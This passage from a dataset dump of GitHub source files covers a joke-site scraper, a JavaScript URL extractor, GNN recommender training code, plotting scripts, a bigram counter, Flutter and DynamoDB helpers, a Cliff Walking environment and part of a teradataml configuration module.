进入详情连接\n get_text_detail(url)\n\n # 下一页\n # 先来个随机延迟\n time.sleep(random.random())\n match_obj = pat7.search(html)\n if match_obj != None:\n next_page = match_obj.group(1)\n else:\n next_page = '空'\n print('next_page:', next_page)\n print('*:' * 66)\n get_text_list(\"https://www.neihan-8.com\" + next_page)\n\n\ndef get_text_detail(detail_url):\n print(\"进入详情页\", detail_url)\n\n # 文章内容\n # 请求详情页\n detail_html = down(detail_url)\n # print(detail_html)\n # 数据提取\n match_obj = pat6.search(detail_html)\n if match_obj != None:\n joke_text = match_obj.group(1)\n else:\n joke_text = '空'\n print('joke_text:', joke_text)\n print('=' * 200)\n\n\n\nif __name__ == '__main__':\n try:\n r = redis.StrictRedis(host='localhost', port=6379)\n except Exception as e:\n print(e)\n # 条目，\n # 可以在分组外描述匹配细节\n # pat1 = re.compile(r'
(.*?)
',\n # re.S | re.M)\n # 可以在分组中继续描述匹配细节\n pat1 = re.compile(r'()', re.S | re.M)\n # 标题，

超级灵药

\n # 通过标签内容获取标题\n # pat2 = re.compile(r'.*?(.*?)', re.S | re.M)\n # url，
\n #
\n # \n # 属于：冷笑话\n #
\n #
0
\n #
1
\n #
49
\n #
\n pat3 = re.compile(r'', re.S | re.M)\n # 踩数\n pat5 = re.compile(r'
', re.S | re.M)\n\n # 内容（详情页获取）\n # 详情连接=url\n # 笑话内容\n pat6 = re.compile(r'
(.*?)
下一页\n # 注意此时尽可能贪婪，拿到最后一个就是下一页\n pat7 = re.compile(r'
', re.S | re.M)\n\n get_text_list(\"https://www.neihan-8.com/wenzi//\")\n","repo_name":"1987617587/lsh_py","sub_path":"pachong/PCdemo1/day05/刘士豪_20200327/task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":5394,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"} +{"seq_id":"26845916834","text":"import re\nimport requests\n\n# List the input files\ninput_files = ['ins1.txt', 'ins2.txt', 'ins3.txt']\n\n# Iterate through the input files\nfor input_file in input_files:\n # Open the current input file and read its contents into a list\n with open(input_file, 'r') as f:\n lines = f.readlines()\n\n # Iterate through the list of URLs\n for line in lines:\n # Download the JavaScript file from the URL\n response = requests.get(line)\n contents = response.text\n\n # Use a regular expression to find all URLs\n urls = re.findall(r'https?://(?:[-\\w.]|(?:%[\\da-fA-F]{2}))+', contents)\n\n # Print the URLs\n for url in urls:\n print(url)\n","repo_name":"zhirobyte/Python-Repo","sub_path":"filterjs.py","file_name":"filterjs.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"} +{"seq_id":"44563814341","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 14/3/2023\n@author: ZhizhuoYin\n\"\"\"\n\nimport numpy as np\nimport torch\nimport pandas as pd\nfrom torch.nn.functional import softmax\nimport torch.nn.functional as F\nfrom torch.distributions.categorical import Categorical\nfrom scipy.stats import wasserstein_distance\n\n\ndef forward(model, loader, device, writer, epoch, user_edge_dict = None,is_user = False, is_item=True, optimizer=None, train_flag=True, max_item_id=0, last_update=0):\n if train_flag:\n model.train()\n else:\n model.eval()\n hit20, mrr20, hit10, mrr10, hit5, mrr5, hit1, mrr1 = [], [], [], [], [], [], [], []\n\n mean_loss = 0.0\n itemlist = []\n edgerepeat = []\n item_edges = [[], []]\n edgelist = [[] for i in range(max_item_id+1)] # elements [receiver,times,index]\n globalItem2IndMapper = {}\n itemindex = 0\n\n for i, batch in enumerate(loader):\n if train_flag:\n optimizer.zero_grad()\n x = [it[0] for it in batch.x.tolist()]\n edge_index = batch.edge_index.tolist()\n edge_count = batch.edge_count.tolist()\n itemlist += list(filter(lambda d: d not in globalItem2IndMapper,x))\n\n item = itemlist\n if is_item:\n for it in x:\n if it not in globalItem2IndMapper:\n globalItem2IndMapper[it] = itemindex\n itemindex += 1\n\n for k in range(len(edge_index[0])):\n isexist = 0\n for receiver in edgelist[x[edge_index[0][k]]]:\n if receiver[0] == x[edge_index[1][k]]:\n receiver[1] += 1\n isexist = 1\n break\n if not isexist:\n item_edges[0] += [x[edge_index[0][k]]-1]\n item_edges[1] += [x[edge_index[1][k]]-1]\n edgelist[x[edge_index[0][k]]].append([x[edge_index[1][k]],1,len(edgerepeat)])\n edgerepeat += [edge_count[k]]\n\n usredgelist = [[], []]\n userid = batch.userid.tolist()\n if is_user == True:\n for u in userid:\n for v in userid:\n v = int(v)\n u = int(u)\n if (u in user_edge_dict) and (v in user_edge_dict):\n if v in user_edge_dict[u]['in']:\n usredgelist[0].append(v)\n usredgelist[1].append(u)\n if v in user_edge_dict[u]['out']:\n usredgelist[0].append(u)\n usredgelist[1].append(v)\n if is_item:\n usredgelist = torch.tensor(usredgelist, dtype=torch.long)\n item_edge_index = torch.tensor(item_edges,dtype=torch.long)\n item = torch.tensor(item,dtype=torch.long)\n scores = model(batch.to(device),train_flag=train_flag, is_user=is_user, is_item=is_item, user_edge_list=usredgelist.to(device) ,item=item.to(device),item_edge_index=item_edge_index.to(device), max_item_id=max_item_id)\n else:\n scores = model(batch.to(device), train_flag=train_flag, is_user=is_user, is_item=is_item, max_item_id=max_item_id)\n targets = batch.y - 1\n loss = model.loss_function(scores, targets)\n\n if train_flag:\n loss.backward()\n optimizer.step()\n writer.add_scalar('loss/train_batch_loss', loss.item(), last_update + i)\n else:\n sub_scores = scores.topk(20)[1] # batch * top_k indices\n for score, target in zip(sub_scores.detach().cpu().numpy(), targets.detach().cpu().numpy()):\n hit20.append(np.isin(target, score))\n if len(np.where(score == target)[0]) == 0:\n mrr20.append(0)\n else:\n mrr20.append(1 / (np.where(score == target)[0][0] + 1))\n\n sub_scores = scores.topk(10)[1] # batch * top_k indices\n for score, target in zip(sub_scores.detach().cpu().numpy(), targets.detach().cpu().numpy()):\n hit10.append(np.isin(target, score))\n if len(np.where(score == target)[0]) == 0:\n mrr10.append(0)\n else:\n mrr10.append(1 / (np.where(score == target)[0][0] + 1))\n\n sub_scores = scores.topk(5)[1] # batch * top_k indices\n for score, target in zip(sub_scores.detach().cpu().numpy(), targets.detach().cpu().numpy()):\n hit5.append(np.isin(target, score))\n if len(np.where(score == target)[0]) == 0:\n mrr5.append(0)\n else:\n mrr5.append(1 / (np.where(score == target)[0][0] + 1))\n\n sub_scores = scores.topk(1)[1] # batch * top_k indices\n for score, target in zip(sub_scores.detach().cpu().numpy(), targets.detach().cpu().numpy()):\n hit1.append(np.isin(target, score))\n if len(np.where(score == target)[0]) == 0:\n mrr1.append(0)\n else:\n mrr1.append(1 / (np.where(score == target)[0][0] + 1))\n\n mean_loss += loss / batch.num_graphs\n\n if train_flag:\n writer.add_scalar('loss/train_loss', mean_loss.item(), epoch)\n else:\n writer.add_scalar('loss/test_loss', mean_loss.item(), epoch)\n hit20 = np.mean(hit20) * 100\n mrr20 = np.mean(mrr20) * 100\n print(str(hit20)+'\\t'+str(mrr20))\n writer.add_scalar('index/hit20', hit20, epoch)\n writer.add_scalar('index/mrr20', mrr20, epoch)\n hit10 = np.mean(hit10) * 100\n mrr10 = np.mean(mrr10) * 100\n print(str(hit10)+'\\t'+str(mrr10))\n writer.add_scalar('index/hit10', hit10, epoch)\n writer.add_scalar('index/mrr10', mrr10, epoch)\n hit5 = np.mean(hit5) * 100\n mrr5 = np.mean(mrr5) * 100\n print(str(hit5)+'\\t'+str(mrr5))\n writer.add_scalar('index/hit5', hit5, epoch)\n writer.add_scalar('index/mrr5', mrr5, epoch)\n hit1 = np.mean(hit1) * 100\n mrr1 = np.mean(mrr1) * 100\n print(str(hit1)+'\\t'+str(mrr1))\n writer.add_scalar('index/hit1', hit1, epoch)\n writer.add_scalar('index/mrr1', mrr1, epoch)\n return [[hit20,hit10,hit5,hit1],[mrr20,mrr10,mrr5,mrr1],epoch]\n return []\n\ndef forward_entropy(model, loader, device, max_item_id=0):\n for i, batch in enumerate(loader):\n scores = softmax(model(batch.to(device), train_flag=False, max_item_id=max_item_id), dim=1)\n dis_score = Categorical(scores)\n if i == 0:\n entropy = dis_score.entropy()\n else:\n entropy = torch.cat((entropy, dis_score.entropy()))\n \n pro = entropy.cpu().detach().numpy()\n weights = np.exp((pd.Series(pro).rank() / len(pro)).values)\n return weights / np.sum(weights)\n\n\ndef forward_cross_entropy(model, loader, device, max_item_id=0):\n for i, batch in enumerate(loader):\n scores = softmax(model(batch.to(device),train_flag=False, max_item_id= max_item_id), dim=1)\n targets = batch.y - 1\n if i == 0:\n cross_entropy = torch.nn.functional.cross_entropy(scores, targets, reduction='none')\n else:\n cross_entropy = torch.cat((cross_entropy, torch.nn.functional.cross_entropy(scores, targets, reduction='none')))\n\n pro = cross_entropy.cpu().detach().numpy()\n return pro / pro.sum()\n\n\ndef forward_wass(model, loader, device, max_item_id=0):\n distance = []\n for i, batch in enumerate(loader):\n\n scores = softmax(model(batch.to(device), train_flag=False, max_item_id = max_item_id), dim=1)\n targets = batch.y - 1\n\n targets_1hot = torch.zeros_like(scores).scatter_(1, targets.view(-1, 1), 1).cpu().numpy()\n distance += list(wasserstein_distance(score, target) for score, target in zip(scores.cpu().numpy(), targets_1hot))\n\n weights = np.exp((pd.Series(distance).rank() / len(distance)).values)\n return weights / np.sum(weights)\n","repo_name":"Williamy946/GIUA-GNN","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":7990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"74287833527","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nfrom sklearn import datasets\nfrom sklearn.manifold import TSNE\nfrom sklearn.decomposition import PCA\n\ndef plot_embedding(data, label, title):\n x_min, x_max = np.min(data, 0), np.max(data, 0)\n data = (data - x_min) / (x_max - x_min)\n\n fig = plt.figure()\n ax = plt.subplot(111)\n for i in range(data.shape[0]):\n plt.text(data[i, 0], data[i, 1], str(label[i]),\n color=plt.cm.Set1(label[i] / 10.),\n fontdict={'weight': 'bold', 'size': 9})\n plt.xticks([])\n plt.yticks([])\n plt.title(title)\n return fig\n\ninputn = np.load(\"input.npy\") # (500, 929, 2)\natt_out = np.load(\"att_out.npy\") # (500, 929, 2)\natt_out2 = np.load(\"att_out2.npy\") # (500, 929, 2)\natt_out3 = np.load(\"att_out3.npy\") # (500, 929, 2)\nlabel = np.load(\"label_test500.npy\") # (500,)\nprint(label.shape)\n\nselect_f = inputn\n#select_f = att_out\n#select_f = att_out2\n#select_f = att_out3\n\nfig = plt.figure()\ntsne = TSNE(n_components=2, init='pca', random_state=0)\nstack = np.concatenate((select_f[:,:,0], select_f[:,:,1]), axis=1)\nprint(stack.shape)\nresult = tsne.fit_transform(stack)\nprint(result.shape)\n#fig = plot_embedding(result, label,'t-SNE embedding of the digits')\nx_min, x_max = np.min(result, 0), np.max(result, 0)\nresult = (result - x_min) / (x_max - x_min)\n\ncolor = [\"#B0E0E6\",\"#EE6363\"]\n#color = [\"#B0E0E6\",\"#EE00EE\"]\n\nax = plt.subplot(111)\nfor i in range(result.shape[0]):\n if(label[i] == 0):\n s1 = plt.scatter(result[i, 0], result[i, 1],s=20,color=color[label[i]])\nfor i in range(result.shape[0]):\n if(label[i] == 1):\n s2 = plt.scatter(result[i, 0], result[i, 1],s=20,color=color[label[i]])\nplt.xlabel('Dimension 1')\nplt.ylabel('Dimension 2')\nplt.title('t-SNE embedding of the input layer')\n#plt.title('t-SNE embedding of the global attention layer')\n#plt.title('t-SNE embedding of the 1st MHA layer')\n#plt.title('t-SNE embedding of the 2nd MHA layer')\nplt.legend((s1,s2),('0','1') ,loc = 'best')\nplt.show()","repo_name":"Liuzhe30/AttADR","sub_path":"visulization/vis-tsne-representation.py","file_name":"vis-tsne-representation.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"} +{"seq_id":"19436182783","text":"import collections\nimport re\n\n\ndef read_stopwords():\n with open('./stopwords.txt', \"r\") as file:\n stopwords = file.read().split(',')\n # Remove newline characters and make the words lowercase\n stopwords = set([word.strip().lower() for word in stopwords])\n return stopwords\n\n\ndef remove_stopwords_bigrams(bigrams):\n stopwords = read_stopwords()\n filtered_bigrams = []\n for b1, b2 in bigrams:\n if b1.lower() not in stopwords and b2.lower() not in stopwords:\n filtered_bigrams.append((b1, b2))\n return filtered_bigrams\n\n\ndef get_bigram_frequencies(in_file, out_file):\n # Open the input file and read in the contents\n print('Reading in file...')\n with open(in_file, 'r') as infile:\n text = infile.read()\n\n # Tokenize the words in the text\n print('Tokenizing words...')\n words = re.findall(r'\\b[^\\W\\d_]{2,}\\b', text)\n\n # Normalize the case of the words\n print('Normalizing case...')\n words = [word.lower() for word in words]\n\n # Generate the bigrams\n print('Generating bigrams...')\n bigrams = [(words[i], words[i + 1]) for i in range(len(words) - 1)]\n\n print('Removing stopwords...')\n bigrams = remove_stopwords_bigrams(bigrams)\n\n # Count the frequency of each bigram\n print('Counting bigram frequency...')\n bigram_counts = collections.Counter(bigrams)\n\n # Sort the bigrams by frequency\n print('Sorting bigrams by frequency...')\n sorted_bigrams = sorted(bigram_counts.items(), key=lambda x: x[1], reverse=True)\n\n # Open the output file and write the bigram frequencies to it\n print('Writing to output file...')\n with open(out_file, 'w') as outfile:\n for bigram, count in sorted_bigrams:\n # ignore less than\n if count < 1000:\n continue\n outfile.write(f'{bigram[0]} {bigram[1]},{count}\\n')\n\n\nif __name__ == '__main__':\n # Test the function\n # Download oscar corpus from here https://www.kaggle.com/code/bmukhtar/starter-kazakh-oscar-corpus-05b5dbd5-d\n get_bigram_frequencies('kk.txt', 'kk_bigrams.txt')\n","repo_name":"BMukhtar/KazakhSpellingAndSuggestion","sub_path":"generate_bigrams.py","file_name":"generate_bigrams.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"19802888956","text":"from distutils.core import setup\nimport os.path\n\nREADME = os.path.join(os.path.dirname(__file__), 'README.md')\n\nversion = '1.0'\n\nwith open(README) as fp:\n longdesc = fp.read()\n\nsetup(name='ignore-from-github',\n include_package_data=True,\n version=version,\n description='Add common sets of ignored file types to your .gitignore easily',\n long_description=longdesc,\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.3',\n 'Topic :: Software Development',\n 'Intended Audience :: Developers'\n ],\n author='Anson Rosenthal',\n author_email='anson.rosenthal@gmail.com',\n license='MIT License',\n url='https://github.com/anrosent/ignore.git',\n scripts=['ignore']\n)\n","repo_name":"anrosent/ignore","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"16883905593","text":"from typing import Sized\nimport matplotlib.pyplot as plt\nimport cv2\nimport numpy as np\n\nplt.rcParams['font.sans-serif']=['SimHei']\nplt.rcParams['axes.unicode_minus'] = False\n\ndef calculate(image1, image2):\n # 灰度直方图算法\n # 计算单通道的直方图的相似值\n hist1 = cv2.calcHist([image1], [0], None, [256], [0.0, 255.0])\n hist2 = cv2.calcHist([image2], [0], None, [256], [0.0, 255.0])\n # 计算直方图的重合度\n degree = 0\n for i in range(len(hist1)):\n if hist1[i] != hist2[i]:\n degree = degree + \\\n (1 - abs(hist1[i] - hist2[i]) / max(hist1[i], hist2[i]))\n else:\n degree = degree + 1\n degree = degree / len(hist1)\n return degree\n\ndef classify_hist_with_split(image1, image2, size=(255,255)):\n image1 = cv2.resize(image1, size)\n image2 = cv2.resize(image2, size)\n sub_image1 = cv2.split(image1)\n sub_image2 = cv2.split(image2)\n sub_data = 0\n for im1, im2 in zip(sub_image1, sub_image2):\n sub_data += calculate(im1, im2)\n sub_data = sub_data / 3\n return sub_data\n\n\ntem2018 = cv2.imread(r\"D:/Program/reefStudy/data/tem2018.png\")\ntem2019 = cv2.imread(r\"D:/Program/reefStudy/data/tem2019.png\")\ntem2020 = cv2.imread(r\"D:/Program/reefStudy/data/tem2020.png\")\ntem2021 = cv2.imread(r\"D:/Program/reefStudy/data/tem2021.png\")\n\npicList = [tem2018,tem2019,tem2020,tem2021]\n\ntem2018 = cv2.resize(tem2018, (657,398))\ntem2019 = cv2.resize(tem2019, (657,398))\ntem2020 = cv2.resize(tem2020, (657,398))\ntem2021 = cv2.resize(tem2021, (657,398))\n\n# tmp1 = cv2.addWeighted(tem2018,0.5,tem2019,0.5,0)\n# tmp2 = cv2.addWeighted(tem2020,0.5,tem2021,0.5,0)\n# tmp3 = cv2.addWeighted(tmp1,0.5,tmp2,0.5,0)\n\n# globalreef = cv2.imread(r\"D:/Program/reefStudy/data/gr2020.png\")\n# globalreef = cv2.resize(globalreef, (657,398))\n\n# tmp3 = cv2.subtract(tem2021,tem2020)\n# print(classify_hist_with_split(tmp3,tem2021))\n# tmp3 = cv2.addWeighted(globalreef,0.8,tmp3,0.2,0)\n\ngr2018 = cv2.imread(r\"D:/Program/reefStudy/data/gr2018.png\")\ngr2019 = cv2.imread(r\"D:/Program/reefStudy/data/gr2019.png\")\ngr2020 = cv2.imread(r\"D:/Program/reefStudy/data/gr2020.png\")\n\nplt.plot([0.24361189,0.2487901])\nplt.plot([0.22682571411132812,0.266563355922699])\nplt.legend([\"水温变化速率\",\"珊瑚变化速率\"])\nplt.title(\"水温变化速率和珊瑚变化速率比较\")\nplt.show()\n\n\n\n# tmp3 = cv2.cvtColor(tmp3, cv2.COLOR_BGR2GRAY)\n\n\n# cv2.imshow('tmp3',tmp3)\n# cv2.waitKey()","repo_name":"MicosLiang/reefStudy","sub_path":"temAndReef.py","file_name":"temAndReef.py","file_ext":"py","file_size_in_byte":2453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"25975129049","text":"import subprocess\nimport os\nimport time\n\n\ndef getProjectName():\n projectName = input('Project name: ')\n return projectName\n\n\ndef getFlutterPath():\n userProfile = os.environ.get('USERPROFILE')\n flutterPath = f'{userProfile}\\\\Downloads\\\\flutter_windows_3.0.5-stable\\\\flutter\\\\bin\\\\flutter.bat'\n\n return flutterPath\n\n\ndef askForTypeOfProject():\n print('Select the type of project:')\n typeOfProject = int(input(\n '1. Basic Riverpod structure project\\n2. Responsive riverpod structure project\\n'))\n\n while typeOfProject not in range(1, 3):\n typeOfProject = askForTypeOfProject()\n\n return typeOfProject\n\n\ndef askForFeaturesInProject():\n featuresString = input(\n 'This project will be using feature first approach.\\nEnter the features you want in your app:\\nExample: auth, chat, call, products, home or type skip to skip this step\\n')\n\n if featuresString.lower() == 'skip':\n return []\n else:\n featuresList = featuresString.split(',')\n features = []\n\n for feature in featuresList:\n features.append(feature.strip())\n\n if 'home' in features:\n features.remove('home')\n return features\n\n\ndef createFlutterProject(projectName):\n flutterPath = getFlutterPath()\n runTerminalCommand(f'{flutterPath} create {projectName}')\n\n\ndef flutterPubGet(projectName):\n flutterPath = getFlutterPath()\n runTerminalCommand(f'{flutterPath} pub get',\n directoryName=f'.\\{projectName}')\n\n\ndef addFlutterPackage(packageName, directoryName):\n flutterPath = getFlutterPath()\n runTerminalCommand(f'{flutterPath} pub add {packageName}',\n directoryName=directoryName)\n\n\ndef runTerminalCommand(command, directoryName=''):\n try:\n if (len(directoryName) > 0):\n process = subprocess.Popen(command, cwd=directoryName)\n process.wait()\n else:\n process = subprocess.Popen(command)\n process.wait()\n except ():\n print('some error occured during while executing some commands')\n\n\ndef createFile(filePath, content):\n\n with open(filePath, 'w') as f:\n f.write(content)\n print(f\"File {filePath} created successfully.\")\n\n\ndef createFolders(folders):\n for i in range(len(folders)):\n if i > 0:\n if doesFolderExists(folders[i - 1]):\n os.mkdir(folders[i])\n else:\n os.mkdir(folders[i])\n\n\ndef createFiles(files):\n for filePath in files:\n createFile(filePath, files[filePath])\n\n\ndef doesFolderExists(filePath):\n while not os.path.exists(filePath):\n print(f'Creating {filePath} ...')\n time.sleep(0.1)\n\n files = filePath.split('\\\\')\n return True\n","repo_name":"Nitin-Poojary/startup-code-generator-flutter","sub_path":"helper_functions.py","file_name":"helper_functions.py","file_ext":"py","file_size_in_byte":2739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"27347211972","text":"import boto3\nfrom constants import (\n TABLE_NAME,\n TABLE_READ_CAPACITY_UNITS,\n TABLE_WRITE_CAPACITY_UNITS,\n AWS_REGION,\n)\nfrom init import logger, statistics\n\n\ndef create_table(\n table_name: str = TABLE_NAME,\n ReadCapacityUnits: int = TABLE_READ_CAPACITY_UNITS,\n WriteCapacityUnits: int = TABLE_WRITE_CAPACITY_UNITS,\n aws_region: str = AWS_REGION,\n) -> bool:\n \"\"\" Creates DynamoB table \"\"\"\n\n try:\n client = boto3.client(\"dynamodb\", region_name=aws_region)\n response = client.list_tables()\n tables = [\n table for table in response[\"TableNames\"] if table == table_name\n ]\n\n if len(tables) > 0:\n logger.warning(\n f'Table \"{table_name}\" already exists. Skipping table creation.'\n )\n return False\n else:\n logger.info(\n f'Table \"{table_name}\" does not exist. Starting creation process...'\n )\n except Exception as e:\n logger.error(e)\n raise\n\n logger.info(\"Creating DB table...\")\n logger.debug(\n f\"Context Parameters: {create_table.__name__} => {create_table.__code__.co_varnames}\"\n )\n try:\n dynamodb = boto3.resource(\"dynamodb\", region_name=aws_region)\n table = dynamodb.create_table(\n TableName=table_name,\n AttributeDefinitions=[\n {\"AttributeName\": \"ts\", \"AttributeType\": \"S\"}\n ],\n KeySchema=[{\"AttributeName\": \"ts\", \"KeyType\": \"HASH\"}],\n ProvisionedThroughput={\n \"ReadCapacityUnits\": int(ReadCapacityUnits),\n \"WriteCapacityUnits\": int(WriteCapacityUnits),\n },\n )\n logger.info(\"Table created successfully.\")\n logger.debug(table)\n except dynamodb.exceptions.ResourceInUseException as e:\n logger.warning(\n f'Table \"{table_name}\" already exists. Skipping table creation.'\n )\n logger.debug(e)\n return False\n\n return True\n\n\ndef seed_db_table(\n db_objects: list = None,\n table_name: str = TABLE_NAME,\n aws_region: str = AWS_REGION,\n) -> bool:\n \"\"\" Insert DB objects into table \"\"\"\n\n logger.info(\"Inserting data into DB...\")\n logger.debug(\n f\"Context Parameters: {seed_db_table.__name__} => {seed_db_table.__code__.co_varnames}\"\n )\n\n try:\n dynamodb = boto3.resource(\"dynamodb\", region_name=aws_region)\n table = dynamodb.Table(table_name)\n\n with table.batch_writer() as batch:\n for item in db_objects:\n batch.put_item(Item=item)\n\n statistics.append([\"seed_db_table\", len(db_objects)])\n\n logger.info(f\"{len(db_objects)} item(s) were inserted in DB.\")\n except Exception as e:\n logger.error(e)\n raise\n\n return True\n","repo_name":"will666/wasabi-cli","sub_path":"manage/src/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":2806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"27657430835","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom tqdm import tqdm # tqdm是显示循环进度条的库\n\n\nclass CliffWalkingEnv:\n def __init__(self, ncol, nrow):\n self.ncol = ncol # 列\n self.nrow = nrow # 行\n self.x = 0 # 记录当前智能体位置的横坐标\n self.y = self.nrow - 1 # 记录当前智能体位置的纵坐标\n\n def step(self, action): # 外部调用这个函数来改变当前位置\n # 区别在于：没有定义P矩阵\n # 4种动作, change[0]:上, change[1]:下, change[2]:左, change[3]:右。坐标系原点(0,0)\n # 定义在左上角\n change = [[0, -1], [0, 1], [-1, 0], [1, 0]]\n self.x = min(self.ncol - 1, max(0, self.x + change[action][0]))\n self.y = min(self.nrow - 1, max(0, self.y + change[action][1]))\n next_state = self.y * self.ncol + self.x\n reward = -1\n done = False\n # 第三行\n if self.y == self.nrow - 1 and self.x > 0: # 下一个位置在悬崖或者目标\n done = True\n if self.x != self.ncol - 1:# 不在第11列\n reward = -100\n return next_state, reward, done\n\n def reset(self): # 回归初始状态,坐标轴原点在左上角\n self.x = 0 # 列0\n self.y = self.nrow - 1 # 行 3\n return self.y * self.ncol + self.x","repo_name":"MengxueTao/testGIT-HandsOnRL","sub_path":"C5_TD_CliffWalkingEnv.py","file_name":"C5_TD_CliffWalkingEnv.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"533426544","text":"import os\nfrom teradataml.common.exceptions import TeradataMlException\nfrom teradataml.common.messages import Messages\nfrom teradataml.common.messagecodes import MessageCodes\n\n\nclass _ConfigureSuper(object):\n\n def __init__(self):\n pass\n\n def _SetKeyValue(self, name, value):\n super().__setattr__(name, value)\n\n def _GetValue(self, name):\n return super().__getattribute__(name)\n\n\ndef _create_property(name):\n storage_name = '_' + name\n\n @property\n def prop(self):\n return self._GetValue(storage_name)\n\n @prop.setter\n def prop(self, value):\n self._SetKeyValue(storage_name, value)\n\n return prop\n\n\nclass _Configure(_ConfigureSuper):\n \"\"\"\n Options to configure database related values.\n \"\"\"\n\n default_varchar_size = _create_property('default_varchar_size')\n column_casesensitive_handler = _create_property('column_casesensitive_handler')\n vantage_version = _create_property('vantage_version')\n val_install_location = _create_property('VAL_install_location')\n byom_install_location = _create_property('BYOM_install_location')\n sandbox_container_id = _create_property('sandbox_container_id')\n temp_table_database = _create_property('temp_table_database')\n temp_view_database = _create_property('temp_view_database')\n read_nos_function_mapping = _create_property('read_nos_function_mapping')\n write_nos_function_mapping = _create_property('write_nos_function_mapping')\n\n\n def __init__(self, default_varchar_size=1024, column_casesensitive_handler = False,\n vantage_version=\"vantage1.1\", val_install_location=None,\n byom_install_location=None, sandbox_container_id=None,\n temp_table_database=None, temp_view_database=None, database_version=None,\n read_nos_function_mapping=\"read_nos\", write_nos_function_mapping=\"write_nos\"):\n \"\"\"\n PARAMETERS:\n default_varchar_size:\n Specifies the size of varchar datatype in Teradata Vantage, the default\n size is 1024.\n User can configure this parameter using options.\n Types: int\n Example:\n teradataml.options.configure.default_varchar_size = 512\n\n column_casesensitive_handler:\n Specifies a boolean value that sets the value of this option to True or\n False.\n One should set this to True, when ML Engine connector property is\n CASE-SENSITIVE, else set to False, which is CASE-INSENSITIVE.\n Types: bool\n Example:\n # When ML Engine connector property is CASE-SENSITIVE, set this\n # parameter to True.\n teradataml.options.configure.column_casesensitive_handler = True\n\n vantage_version:\n Specifies the Vantage version of the system teradataml is connected to.\n Types: string\n Example:\n # Set the Vantage Version\n teradataml.options.configure.vantage_version = \"vantage1.1\"\n\n val_install_location:\n Specifies the name of the database where Vantage Analytic Library functions\n are installed.\n Types: string\n Example:\n # Set the Vantage Analytic Library install location to 'SYSLIB'\n # when VAL functions are installed in 'SYSLIB'.\n teradataml.options.configure.val_install_location = \"SYSLIB\"\n\n byom_install_location:\n Specifies the name of the database where Bring Your Own Model functions\n are installed.\n Types: string\n Example:\n # Set the BYOM install location to 'SYSLIB'\n # when BYOM functions are installed in 'SYSLIB'.\n teradataml.options.configure.byom_install_location = \"SYSLIB\"\n\n sandbox_container_id:\n Specifies the id of sandbox container that will be used by test_script method.\n Types: string\n Example:\n # Set the sandbox_container_id.\n teradataml.options.configure.sandbox_container_id = '734rfjsls3'\n\n database_version:\n Specifies the actual database version of the system teradataml is connected to.\n Types: string\n Example:\n # Set the Vantage Version\n teradataml.options.configure.database_version = \"17.05a.00.147\"\n \n read_nos_function_mapping:\n Specifies the function mapping name for the read_nos table operator function.\n Types: string\n Example:\n # Set the read nos function mapping name\n teradataml.options.configure.read_nos_function_mapping = \"read_nos_fm\"\n \n write_nos_function_mapping:\n Specifies the function mapping name for the write_nos table operator function.\n Types: string\n Example:\n # Set the write nos function mapping name\n teradataml.options.configure.write_nos_function_mapping = \"write_nos_fm\"\n\n \"\"\"\n super().__init__()\n super().__setattr__('default_varchar_size', default_varchar_size)\n super().__setattr__('column_casesensitive_handler', column_casesensitive_handler)\n super().__setattr__('vantage_version', vantage_version)\n super().__setattr__('val_install_location', val_install_location)\n super().__setattr__('byom_install_location', byom_install_location)\n super().__setattr__('sandbox_container_id', sandbox_container_id)\n super().__setattr__('temp_table_database', temp_table_database)\n super().__setattr__('temp_view_database', temp_view_database)\n super().__setattr__('database_version', database_version)\n super().__setattr__('read_nos_function_mapping', read_nos_function_mapping)\n super().__setattr__('write_nos_function_mapping', write_nos_function_mapping)\n\n \n # internal configurations\n # These configurations are internal and should not be\n # exported to the user's namespace.\n super().__setattr__('_validate_metaexpression', False)\n # Internal parameter, that should be used while testing to validate whether\n # Garbage collection is being done or not.\n super().__setattr__('_validate_gc', False)\n # Internal parameter, that is used for checking if sto sandbox image exists on user's system\n super().__setattr__('_latest_sandbox_exists', False)\n # Internal parameter, that is used for checking whether a container was started by\n # teradataml.\n super().__setattr__('_container_started_by_teradataml', None)\n # Internal parameter, that is used for specifying the global model cataloging schema name which\n # will be used by the byom APIs.\n super().__setattr__('_byom_model_catalog_database', None)\n # Internal parameter, that is used for specifying the global model cataloging table name which\n # will be used by the byom APIs.\n super().__setattr__('_byom_model_catalog_table', None)\n # Internal parameter, that is used for specifying the license information as a string, file\n # path or column name which will be used by the byom APIs.\n super().__setattr__('_byom_model_catalog_license', None)\n # Internal parameter, that is used for specifying the source where the license came from\n # which will be used by the byom APIs.\n super().__setattr__('_byom_model_catalog_license_source', None)\n # Internal parameter, that is used for specifying the license table name\n # where the license is stored\n super().__setattr__('_byom_model_catalog_license_table', None)\n # Internal parameter, that is used for specifying the schema name where\n # the license table is stored\n 